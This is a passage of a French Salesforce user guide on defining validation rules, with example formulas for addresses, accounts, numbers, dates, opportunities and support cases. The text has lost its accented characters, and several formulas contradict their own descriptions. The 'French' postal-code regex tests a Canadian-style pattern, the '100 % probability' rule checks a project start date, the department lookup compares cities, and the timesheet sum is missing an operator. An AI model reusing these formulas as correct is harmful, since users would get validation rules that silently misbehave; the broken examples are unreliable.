description de 255 caractres au maximum, permettant de distinguer la rgle de
validation des autres.

Formule de condition
d'erreur

Expression utilise pour valider le champ. Reportez-vous laboration de formules

la page 428 et Oprateurs et fonctions la page 475.

Message d'erreur

Message qui apparat lorsqu'un champ ne respecte pas la rgle de validation.

Si votre organisation utilise le systme de traduction, vous pouvez traduire le
message d'erreur dans les langues prises en charge par Salesforce.com.
Reportez-vous Configuration du systme de traduction la page 88.

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 439

Champ

Description

Emplacement de l'erreur

Dtermine l'endroit de la page o s'affiche l'erreur. Pour afficher l'erreur proximit

d'un champ, choisissez Field et slectionnez le champ. Si l'emplacement de
l'erreur est un champ, la rgle de validation figure galement sur la page de dtails
de ce champ. Si l'emplacement de l'erreur est dfini sur un champ qui est supprim
ultrieurement ou qui n'est pas visible dans la prsentation de page, Salesforce.com
modifie automatiquement l'emplacement de l'erreur pour le dfinir sur Haut de
la page.
Remarque: Les messages d'erreur ne peuvent s'afficher qu'en haut de la
page des rgles de validation destines Salesforce CRM Ideas.

4. Cliquez sur Vrifier la syntaxe pour vrifier qu'il n'y a pas d'erreur dans la formule.
5. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres rgles de validation.
Remarque: La page de dtails d'un champ d'activit personnalis ne rpertorie pas les rgles de validation associes.
Pour modifier la rgle de validation d'un champ d'activit personnalis, slectionnez-la en cliquant sur Configuration
Personnalisation Activits et choisissez Rgles de validation des tches ou Rgles de validation des vnements.

Voir aussi :
propos des rgles de validation
Exemples de rgles de validation

Exemples de rgles de validation

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de validation de champ :

Afficher la configuration

Pour dfinir ou modifier des rgles de validation de champ :

Personnaliser l'application

Utilisez les exemples de rgles de validation suivants dans les sous-applications AppExchange Salesforce.com et Force.com,
notamment :

Rgles de validation de compte

Rgles de validation des contacts
Rgles de validation de la gestion des opportunits
Rgles de validation du centre d'appels
Rgles de validation des utilisateurs, rles et profils

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Guide de l'utilisateur | Gestion des rgles de validation | 440

Rgles de validation des adresses de compte

Rgles de validation des dates
Rgles de validation des nombres
Rgles de validation inter-objets
Rgles de validation Salesforce Ideas
Autres rgles de validation

Voir aussi :
propos des rgles de validation
Dfinition des rgles de validation

Rgles de validation des adresses de compte

Code postal (facturation)
Champ

Valeur

Description :

Valide le format du Code postal de facturation si le pays de facturation

est la France.

Formule :

AND( OR(BillingCountry = "FRA", BillingCountry = "FR",

BillingCountry = "France"), NOT(REGEX( BillingPostalCode ,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?")) )

Message d'erreur :

Le code postal franais doit tre au format 99999.

Emplacement de l'erreur :

Facturation - Code postal

Le code postal de facturation est dans le dpartement de facturation

Champ

Valeur

Description :

Vrifie la validit du code postal de facturation du compte en recherchant les

cinq premiers caractres de cette valeur dans un objet personnalis appel Zip_Code__c
qui contient un enregistrement de chaque code postal valide en France. Si le code postal
n'est pas trouv dans l'objet Zip_Code__c ou que le dpartement de facturation
ne correspond pas au State_Code__c de l'objet Zip_Code__c, une erreur s'affiche.

Formule :

VLOOKUP( $ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name , LEFT(BillingPostalCode,5)
) <> BillingCity

Message d'erreur :

Le code postal de facturation n'existe pas dans le dpartement spcifi.

Emplacement de l'erreur :

Facturation - Code postal

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 441

Code postal de facturation

Champ

Valeur

Description :

Confirme que le Code postal de facturation du compte respecte le format 99999

si le pays de facturation correspond la France.

Formule :

AND( OR(BillingCountry = "France", BillingCountry = "FR"),

NOT(REGEX( BillingPostalCode , "\\d{5}(-\\d{4})?")) )

Remarque: Cet exemple utilise la fonction REGEX ; reportez-vous la rubrique

Code postal d'expdition la page 441 si vous ne connaissez pas bien les
expressions rgulires.
Message d'erreur :

Le Code postal doit tre au format 99999 ou 99999-9999.

Emplacement de l'erreur :

Facturation - Code postal

Code postal d'expdition

Champ

Valeur

Description :

Confirme que le compte Expdition - Code postal respecte le format 99999 ou

99999-9999 si le pays d'expdition correspond USA ou est vide.

Formule :

AND( OR(ShippingCountry = "USA", LEN(ShippingCountry) = 0), OR(

AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <>
10), NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))),
AND( LEN(ShippingPostalCode) = 10, OR( MID( ShippingPostalCode
, 6, 1) <> "-", NOT(CONTAINS("0123456789", MID(
ShippingPostalCode , 7, 1))), NOT(CONTAINS("0123456789", MID(
ShippingPostalCode , 8, 1))), NOT(CONTAINS("0123456789", MID(
ShippingPostalCode , 9, 1))), NOT(CONTAINS("0123456789", MID(
ShippingPostalCode , 10, 1))) ) ) ) )

Remarque: Dans cet exemple, si aucun pays n'est indiqu, il est suppos qu'il
s'agit des tats-Unis. Pour utiliser cet exemple avec d'autres pays, supprimez la
clause vrifiant la longueur du champ de pays. En outre, les critres de rgle de
validation respectent la casse. Par consquent, cette rgle n'est applique que
lorsqu'aucun pays n'est indiqu ou qu' USA est crit en majuscules. La rgle
n'est pas applique lorsque le pays est usa .
Conseil: Vous pouvez galement valider des codes postaux l'aide d'une
expression rgulire. Pour obtenir un exemple de formule utilisant une expression
rgulire, reportez-vous REGEX la page 521.
Message d'erreur :

Le Code postal doit tre au format 99999 ou 99999-9999.

Emplacement de l'erreur :

Expdition - Code postal

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Guide de l'utilisateur | Gestion des rgles de validation | 442

tat de facturation valide (tats-Unis)

Champ

Valeur

Description :

Confirme que l'tat/la rgion de facturation du compte est une abrviation

deux caractres valide, si le pays de facturation est US, USA ou vide.

Formule :

AND ( OR(BillingCountry = "US", BillingCountry="USA",

LEN(BillingCountry)=0), OR( LEN(BillingState) < 2, NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState) )))

Remarque: Dans cet exemple, si aucun pays n'est indiqu, il est suppos qu'il
s'agit des tats-Unis. Pour utiliser cet exemple avec d'autres pays, supprimez
la clause vrifiant la longueur du champ de pays. En outre, les critres de rgle
de validation respectent la casse. Par consquent, cette rgle n'est applique que
lorsqu'aucun pays n'est indiqu ou qu' USA est crit en majuscules. La rgle
n'est pas applique lorsque le pays est usa .
Message d'erreur :

Un code d'tat deux lettres valide est requis.

Emplacement de l'erreur :

Facturation Dpartement/Rgion

Rgion de facturation valide (Canada)

Champ

Valeur

Description :

Confirme que l'tat/la rgion de facturation du compte est une abrviation

deux caractres valide, si le pays de facturation est CA ou CAN.

Formule :

AND ( OR(BillingCountry = "CA", BillingCountry="CAN"), OR(

LEN(BillingState) < 2, NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState) )))

Message d'erreur :

Un code de rgion deux lettres valide est requis.

Emplacement de
l'erreur :

Facturation Dpartement/Rgion

tat d'expdition valide

Champ

Valeur

Description :

Confirme que l'tat/la rgion d'expdition du compte est une abrviation deux caractres
valide, si le pays d'expdition est US, USA ou vide.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 443

Valeur
AND ( OR(ShippingCountry = "US", ShippingCountry="USA",
LEN(ShippingCountry)=0), OR( LEN(ShippingState) < 2, NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" & "WA:WV:WI:WY",
ShippingState) )))

Remarque: Dans cet exemple, si aucun pays n'est indiqu, il est suppos qu'il s'agit des
tats-Unis. Pour utiliser cet exemple avec d'autres pays, supprimez la clause vrifiant la
longueur du champ de pays. En outre, les critres de rgle de validation respectent la casse.
Par consquent, cette rgle n'est applique que lorsqu'aucun pays n'est indiqu ou qu' USA
est crit en majuscules. La rgle n'est pas applique lorsque le pays est usa .
Message d'erreur :

Une abrviation d'tat deux lettres valide est requise.

Emplacement de
l'erreur :

Expdition Dpartement/Rgion

Rgion d'expdition valide (Canada)

Champ

Valeur

Description :

Confirme que l'tat/la rgion d'expdition du compte est une abrviation deux caractres
valide, si le pays de facturation est CA ou CAN.

Formule :

AND ( OR(ShippingCountry = "CA", ShippingCountry="CAN"), OR(

LEN(ShippingState) < 2, NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState) )))

Message d'erreur :

Une abrviation de rgion 2 lettres valide est requise.

Emplacement de
l'erreur :

Expdition Dpartement/Rgion

Pays de facturation valide

Champ

Valeur

Description :

Confirme que le pays de facturation du compte est un code deux lettres ISO 3166 valide.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 444

Valeur
OR( LEN(BillingCountry) = 1, NOT( CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW", BillingCountry )))

Message d'erreur :

Un code pays deux lettres valide est requis.

Emplacement de
l'erreur :

Facturation - Pays

Rgles de validation de compte

Le numro de compte est numrique
Champ

Valeur

Description :

Vrifie que le numro de compte est numrique s'il n'est pas vide.

Formule :

AND( LEN ( AccountNumber) > 0, NOT (ISNUMBER( AccountNumber ))

)

Message d'erreur :

Le numro de compte n'est pas numrique.

Emplacement de l'erreur :

Numro du compte

Longueur du numro de compte

Champ

Valeur

Description :

Confirme que le numro de compte comporte prcisment sept chiffres (s'il n'est pas
vide). Le nombre sept est donn titre d'exemple uniquement. Vous pouvez le remplacer
par le nombre de votre choix.

Formule :
Message d'erreur :

AND( LEN(AccountNumber) > 0, LEN(AccountNumber) <> 7 )

Le champ Numro du compte doit comporter sept chiffres.

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 445

Champ

Valeur

Emplacement de l'erreur :

Numro du compte

Plage de chiffre d'affaires annuel

Champ

Valeur

Description :

Confirme que le compte Chiffre d'affaires annuel n'est pas ngatif et n'excde
pas 100 milliards de dollars. Ce plafond est pens pour reprer les fautes de frappe.

Formule :

OR( AnnualRevenue < 0, AnnualRevenue > 100000000000 )

Message d'erreur :

Le champ Chiffre d'affaires annuel ne peut pas dpasser 100 milliards.

Emplacement de l'erreur :

Chiffre d'affaires annuel

Rgles de validation des nombres

Les fiches de prsence doivent totaliser 40 heures
Champ

Valeur

Description :

Garantit que les utilisateurs ne peuvent pas enregistrer de fiches de prsence d'une dure
suprieure 40 heures hebdomadaires. Cet exemple ncessite cinq champs personnaliss
sur votre objet personnalis, un pour chaque jour de travail.

Formule :

Monday_Hours__c + Tuesday_Hours__c + Wednesday_Hours__c

Thursday_Hours__c + Friday_Hours__c > 40

Message d'erreur :

Le nombre total d'heures ne peut pas dpasser 40.

Emplacement de l'erreur :

Haut de la page

Le nombre ne peut pas tre ngatif

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Heures travailles n'est pas un nombre
ngatif.

Formule :

Hours_Worked__c < 0

Message d'erreur :

Le champ Heures travailles ne peut pas tre infrieur zro.

Emplacement de l'erreur :

Heures travailles

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 446

Le nombre doit tre pair

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Passagers de l'Arche est un nombre

pair non ngatif.

Formule :

OR( Ark_Passengers__c < 0, MOD( Ark_Passengers__c, 2) <> 0 )

Message d'erreur :

Le champ Passagers de l'Arche doit tre un nombre pair positif.

Emplacement de l'erreur :

Passagers de l'Arche

Le nombre doit tre impair

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Chaussettes trouves est un nombre

impair non ngatif.

Formule :

OR( Socks_Found__c < 0, MOD( Socks_Found__c, 2) = 0 )

Message d'erreur :

Le champ Chaussettes trouves doit tre un nombre impair.

Emplacement de l'erreur :

Chaussettes trouves

Le nombre doit tre un multiple de cinq

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Multiple de 5 est un multiple de cinq.

Formule :

MOD( Multiple_of_5__c, 5) <> 0

Message d'erreur :

Le nombre doit tre un multiple de cinq.

Emplacement de l'erreur :

Multiple de 5

Le nombre doit tre un entier

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Mon entier est un entier.

Formule :

FLOOR( My_Integer__c) <> My_Integer__c

Message d'erreur :

Ce champ doit tre un entier.

Emplacement de l'erreur :

Mon entier

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 447

Le nombre doit tre compris entre -50 et 50

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Volume est compris entre -50 et 50.

Formule :

ABS( Volume__c) > 50

Message d'erreur :

Le volume doit tre compris entre -50 et 50.

Emplacement de l'erreur :

Volume

Validation de la plage de nombres

Champ

Valeur

Description :

Confirme que la plage comprise entre deux champs personnaliss Salaire min. et
Salaire max. est infrieure 20 000 dollars.

Formule :

(Salary_Max__c - Salary_Min__c) > 20000

Message d'erreur :

La plage de salaires doit tre infrieure 20 000 dollars. Ajustez les valeurs Salaire max.
ou Salaire min.

Emplacement de l'erreur :

Salaire max.

Le pourcentage doit tre compris entre zro et 100

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Pourcentage mixte est compris entre 0
et 100 %. Notez que les champs de pourcentage sont exprims en pourcentage, soit
diviss par 100, dans les formules (100 % est exprim sous la forme 1 ; 50 % est indiqu
sous la forme 0,5).

Formule :

OR( Mix_Pct__c > 1.0, Mix_Pct__c < 0.0 )

Message d'erreur :

Le pourcentage mixte doit tre compris entre 0 et 100 %.

Emplacement de l'erreur :

Pourcentage mixte

Rgles de validation des contacts

Les champs Adresse postale sont obligatoires
Champ

Valeur

Description :

Confirme que la rue, la ville et le pays des contacts sont renseigns.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 448

Valeur
OR( LEN( MailingStreet ) = 0, LEN( MailingCity ) = 0, LEN(
MailingCountry ) = 0 )

Message d'erreur :

La rue, la ville et le pays sont obligatoires.

Emplacement de l'erreur :

Haut de la page

La rue est obligatoire

Champ

Valeur

Description :

Confirme que la rue du contact est renseigne.

Formule :

LEN( MailingStreet ) = 0

Message d'erreur :

La rue est obligatoire.

Emplacement de l'erreur :

Adresse postale (rue)

Code postal
Champ

Valeur

Description :

Confirme que le code postal du contact respecte le format 99999 ou 99999-9999 si

le pays est USA ou vide.

Formule :

AND( OR(MailingCountry = "USA", LEN(MailingCountry) = 0), OR(

AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))),
AND( LEN(MailingPostalCode) = 10, OR( MID( MailingPostalCode ,
6, 1) <> "-", NOT(CONTAINS("0123456789", MID( MailingPostalCode
, 7, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode
, 8, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode ,
9, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode ,
10, 1))) ) ) ) )

Remarque: Dans cet exemple, si aucun pays n'est indiqu, il est suppos qu'il
s'agit des tats-Unis. Pour utiliser cet exemple avec d'autres pays, supprimez la
clause vrifiant la longueur du champ de pays. En outre, les critres de rgle de
validation respectent la casse. Par consquent, cette rgle n'est applique que
lorsqu'aucun pays n'est indiqu ou qu' USA est crit en majuscules. La rgle
n'est pas applique lorsque le pays est usa .
Conseil: Vous pouvez galement valider des codes postaux l'aide d'une
expression rgulire. Pour obtenir un exemple de formule utilisant une expression
rgulire, reportez-vous REGEX la page 521.
Message d'erreur :

Le Code postal doit tre au format 99999 ou 99999-9999.

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 449

Champ

Valeur

Emplacement de l'erreur :

Code postal

Le numro de tlphone est au format international

Champ

Valeur

Description :

Confirme que le numro de tlphone commence par le signe plus (+) pour le code
pays. Notez que la rgle de validation est en contradiction avec la rgle dix chiffres.

Formule :

LEFT(Phone, 1) <> "+"

Message d'erreur :

Le numro de tlphone doit commencer par + (code pays).

Emplacement de l'erreur :

Tlphone

Les numros de tlphone amricains comportent dix chiffres

Champ

Valeur

Description :

Confirme que le numro de tlphone est au format (999) 999-9999. Cela est possible
en utilisant la fonction REGEX pour vrifier que ce nombre comporte dix chiffres dans
le format (999) 999-9999.

Formule :

NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

Message d'erreur :

Les numros de tlphone amricains doivent avoir le format suivant : (999) 999-9999.

Emplacement de l'erreur :

Tlphone

Rgles de validation des dates

La date doit tre un jour de semaine
Champ

Valeur

Description :

Confirme que la valeur d'un champ de date personnalis est un jour de semaine (et non
un samedi ou un dimanche).

Formule :

CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1 )

= 0

Message d'erreur :

La date doit tre un jour de semaine.

Emplacement de l'erreur :

Ma date

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 450

La date doit tre un samedi ou un dimanche

Champ

Valeur

Description :

Confirme que la valeur d'un champ de date personnalis est un samedi ou un dimanche.

Formule :

CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 1, 6, 0, 1 )

= 0

Message d'erreur :

La date doit tre un samedi ou un dimanche.

Emplacement de l'erreur :

Ma date

La date doit faire partie du mois en cours

Champ

Valeur

Description :

Confirme qu'un champ de date personnalis contient une date du mois et de l'anne en
cours.

Formule :

OR ( YEAR( My_Date__c ) <> YEAR ( TODAY() ), MONTH( My_Date__c

) <> MONTH ( TODAY() ) )

Message d'erreur :

La date doit faire partie du mois en cours.

Emplacement de l'erreur :

Ma date

La date doit faire partie de l'anne en cours

Champ

Valeur

Description :

Confirme qu'un champ de date personnalis contient une date de l'anne en cours.

Formule :

YEAR( My_Date__c ) <> YEAR ( TODAY() )

Message d'erreur :

La date doit faire partie de l'anne en cours.

Emplacement de l'erreur :

Ma date

La date doit tre le dernier jour du mois

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Ma date est le dernier jour du mois. Pour
cela, il dtermine la date du premier jour du mois suivant, puis soustrait 1 jour. Il
comprend une logique de cas particuliers pour le mois de dcembre.

Formule :

DAY(My_Date__c) <> IF(Month(My_Date__c)=12, 31,

DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Message d'erreur :

La date doit tre le dernier jour du mois.

Emplacement de l'erreur :

Ma date

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 451

La date doit tre comprise dans une priode d'un an compter d'aujourd'hui
Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Date de suivi est comprise dans une
priode d'un an compter de la date du jour. Cet exemple suppose que l'anne compte
365 jours. (Il ne traite pas les annes bissextiles.)

Formule :

Followup_Date__c - TODAY() > 365

Message d'erreur :

La date de suivi doit tre comprise dans une priode d'un an compter de ce jour.

Emplacement de l'erreur :

Date de suivi

Le jour du mois ne peut pas tre suprieur 15

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Date de dbut contient une date dans
les 15 premiers jours du mois spcifi.

Formule :

DAY( Begin_Date__c ) > 15

Message d'erreur :

La date de dbut ne peut pas tre postrieure au 15e jour du mois.

Emplacement de l'erreur :

Date de dbut

La date de fin ne peut pas tre antrieure la date de dbut

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Date de fin n'est pas antrieur un autre
champ personnalis appel Date de dbut.

Formule :

Begin_Date__c > End_Date__c

Message d'erreur :

La date de fin ne peut pas tre antrieure la date de dbut.

Emplacement de l'erreur :

Date de dbut

La date d'expiration ne peut pas tre antrieure la date de clture

Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Date d'expiration n'est pas antrieur
au champ Date de clture.

Formule :

Expiration_Date__c < CloseDate

Message d'erreur :

La date d'expiration ne peut pas tre antrieure la date de clture.

Emplacement de l'erreur :

Date d'expiration

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 452

Rgles de validation de la gestion des opportunits

Champ requis sous certaines conditions en fonction de l'tape d'opportunit
Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Date de livraison est renseign si une
opportunit a progress vers l'tape Close gagne ou Ngociation/Vrification.

Formule :

AND ( OR ( ISPICKVAL( StageName, "Close gagne"), ISPICKVAL(

StageName, "Ngociation/Vrification")), ISNULL( Delivery_Date__c
) )

Message d'erreur :

La date de livraison est ncessaire pour cette tape.

Emplacement de l'erreur :

Date de livraison

La date de clture ne peut pas tre antrieure au mois en cours

Champ

Valeur

Description :

Confirme que la date de clture d'une opportunit n'est pas comprise dans une
priode d'un mois avant le mois en cours. Notez que l'utilisation de ISNEW et
ISCHANGED dans cette formule pour vrifier la condition est uniquement vrifie
lorsque l'opportunit est en cours de cration ou lorsque le champ Date de clture
est modifi en consquence.

Formule :

AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE(

YEAR(TODAY()), MONTH(TODAY()), 1) )

Message d'erreur :

La date de clture ne peut pas tre antrieure au mois en cours.

Emplacement de l'erreur :

Date de clture

La date de clture doit tre une date ultrieure

Champ

Valeur

Description :

Garantit que les utilisateurs ne dfinissent pas la Date de clture d'une opportunit sur
un jour pass.

Formule :
Message d'erreur :

CloseDate < TODAY()

La date de clture ne doit pas tre un jour pass.

Emplacement de l'erreur : Date de clture

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 453

Remises sur les opportunits

Champ

Valeur

Description :

Confirme que la valeur d'un champ de pourcentage de remise personnalis est comprise entre 0
et 40 %.

Formule :

OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

Message d'erreur :

Le taux de remise ne doit pas dpasser 40 %.

Emplacement de l'erreur : Taux de remise

Une opportunit de qualit doit faire l'objet d'une approbation avant clture.
Champ

Valeur

Description :

Les opportunits dont les montants sont suprieurs 50 000 dollars ncessitent la
vrification d'un champ de case cocher personnalis appel Approuv afin de passer
l'tape Close Gagne ou Close perdue. Pour automatiser cette tche, dfinissez la
scurit au niveau du champ sur la case cocher Approuv pour qu'elle puisse
uniquement tre vrifie au moyen d'un processus d'approbation personnalis. (Enterprise
Edition ou Unlimited Edition)

Formule :

AND( OR( ISPICKVAL(StageName ,"Close gagne"), ISPICKVAL(

StageName ,"Close perdue")) , (Amount > 50000), NOT(ISPICKVAL(
Approval_Status__c ,"Approuve") ) )

Message d'erreur :

Toutes les opportunits de qualit doivent faire l'objet d'une approbation pour pouvoir
tre closes. Cliquez sur le bouton de clture de la demande.

Emplacement de l'erreur :

Haut de la page

Le montant de l'opportunit ne peut pas dpasser 10 millions de dollars

Champ

Valeur

Description :

Confirme que l'opportunit Montant est positive et ne dpasse pas 10 millions de dollars.
Ce plafond est pens pour reprer les fautes de frappe.

Formule :

OR( Amount < 0, Amount > 10000000 )

Message d'erreur :

Le montant ne peut pas dpasser 10 millions de dollars.

Emplacement de l'erreur :

Montant

Vrification des opportunits pour les produits

Champ

Valeur

Description :

Confirme qu'une opportunit comprend au moins un produit d'opportunit avant que les
utilisateurs puissent sauvegarder une modification apporte une opportunit.

Personnaliser

Champ
Formule :
Message d'erreur :

Guide de l'utilisateur | Gestion des rgles de validation | 454

Valeur
NOT(OR(ISNEW(),HasOpportunityLineItem))

Vous devez ajouter des produits cette opportunit avant de l'enregistrer.

Emplacement de l'erreur : Haut de la page

L'opportunit doit avoir des produits si l'tape d'analyse des besoins a dj t effectue.
Champ

Valeur

Description :

Confirme qu'une opportunit comprend des produits d'opportunit avant que l'tape
passe l'analyse des besoins.

Formule :

AND ( CASE( StageName, "Proposition de valeur", 1, "Id.

Acheteurs", 1, "Analyse de la perception", 1,
"Proposition/Devis", 1, "Ngociation/Vrification", 1, "Close
gagne", 1, 0) = 1, NOT(HasOpportunityLineItem) )

Message d'erreur :

Les produits d'opportunit doivent dpasser l'tape d'analyse des besoins.

Emplacement de l'erreur :

Haut de la page

Format du nom de l'opportunit

Champ

Valeur

Description :

Confirme qu'une opportunit contient un trait d'union comme moyen d'appliquer une
convention d'appellation des noms d'opportunits [Compte] [Montant] .

Formule :

FIND( " - ", Name ) = 0

Message d'erreur :

Le nom de l'opportunit doit avoir le format [Compte] - [Montant].

Emplacement de l'erreur :

Nom d'opportunit

Empcher les reprsentants commerciaux de faire reculer l'tape d'une opportunit

Champ

Valeur

Description :

Empcher les commerciaux de faire reculer l'tape d'une opportunit vers des valeurs
spcifiques, une fois qu'ils ont accept l'opportunit au moyen d'un processus
d'approbation personnalis. Le processus d'approbation dfinit la case cocher
Indicateur accept personnalise sur TRUE (Vraie).

Formule :

AND( Accepted_Flag__c, OR ( ISPICKVAL( StageName, "Phase 1"),

ISPICKVAL( StageName, "Phase 2")) )

Message d'erreur :

tape invalide pour l'opportunit accepte.

Emplacement de l'erreur :

tape

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 455

La probabilit doit tre de 100 % pour les opportunits gagnes

Champ

Valeur

Description :

Confirme que la probabilit d'une opportunit gagne est correctement dfinie sur 100 %.
Ceci est utile pour la nettet et la notification des donnes.

Formule :

AND(ISPICKVAL( StageName , "Close gagne"),

ISNULL(Project_Start_Date__c ))

Message d'erreur :

La probabilit doit tre de 100 % pour les opportunits gagnes.

Emplacement de l'erreur :

Probabilit

La probabilit doit tre de zro pour les opportunits perdues

Champ

Valeur

Description :

Confirme que la probabilit d'une opportunit perdue est correctement dfinie sur zro.
Ceci est utile pour la nettet et la notification des donnes.

Formule :

AND ( ISPICKVAL( StageName, "Close perdue"), Probability <> 0)

Message d'erreur :

La probabilit doit tre de 0 % pour les opportunits perdues.

Emplacement de l'erreur :

Probabilit

Date de dbut de projet

Champ

Valeur

Description :

Confirme qu'un champ est requis sous certaines conditions, dtermines par les valeurs des
autres champs. Utilisez cette formule de validation pour garantir que les utilisateurs incluent
une date de dbut de projet pour une opportunit close gagne.

Formule :

Message d'erreur :

AND(ISPICKVAL( StageName , "Close gagne"),

ISNULL(Project_Start_Date__c ))

La date de dbut de projet est obligatoire pour les opportunits gagnes.

Emplacement de l'erreur : Date de dbut de projet

Rgles de validation du centre d'appels

Sous certaines conditions, exiger une description lorsque le motif de la requte est Autre
Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Autre motif contient une valeur si une
requte contient un motif de requte dont la valeur est Autre.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 456

Valeur
AND( ISPICKVAL( Reason, "Autre" ), Other_Reason__c = "" )

Message d'erreur :

La description de l'autre motif est ncessaire.

Emplacement de l'erreur :

Autre motif

Empcher la rinitialisation des requtes ouvertes sur la valeur Nouveau

Champ

Valeur

Description :

Si une requte est dj ouverte, la formule empche le statut d'tre nouveau dfini
sur Nouveau.

Formule :

AND( ISCHANGED( Status ), NOT(ISPICKVAL(PRIORVALUE( Status ),

"Nouveau")), ISPICKVAL( Status, "Nouveau") )

Message d'erreur :

Le statut de la requte ouverte ne peut pas tre rinitialis sur Nouveau.

Emplacement de l'erreur :

Statut

Restreindre le statut des requtes rouvertes

Champ

Valeur

Description :

Confirme que le statut de la requte est Rouverte lorsqu'une requte close est ouverte
nouveau.

Formule :

AND( ISCHANGED( Status ), OR( ISPICKVAL(PRIORVALUE( Status ),

"Close"), ISPICKVAL(PRIORVALUE( Status ), "Close sur le portail
